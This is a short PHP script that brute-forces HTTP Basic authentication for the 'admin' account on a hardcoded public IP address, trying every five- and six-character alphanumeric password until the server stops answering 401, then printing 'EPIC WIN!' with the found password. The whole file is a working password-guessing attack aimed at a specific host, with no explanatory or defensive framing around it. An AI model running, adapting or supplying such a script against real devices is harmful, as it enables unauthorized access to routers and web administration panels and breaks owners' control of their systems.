#!/usr/bin/php
<?php
$alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$alen = strlen($alpha);
$n = 1;
function rec($s)
{
global $alpha, $alen, $n;
if(strlen($s) == $n)
{
brute($s);
}
else
{
for($c = 0; $c < $alen; $c++)
{
rec($s . $alpha[$c]);
}
}
}
function brute($pass)
{
$host = "109.184.130.45";
// $host = "192.168.10.1";
$s = fsockopen($host, 80);
$login = 'admin';
echo $login, "/", $pass, "\n";
$req = "GET / HTTP/1.0\n" .
"Host: $host\n" .
"Authorization: Basic " . base64_encode($login . ':' . $pass) . "\n\n";
fwrite($s, $req);
$line = fgets($s);
if(preg_match('#HTTP/1\.\d (\d+)#', $line, $matches))
{
if($matches[1] != '401')
{
die('EPIC WIN! ' . $pass . "\n");
}
}
fclose($s);
}
for($n=5;$n<=6;$n++)
{
rec('');
}
?>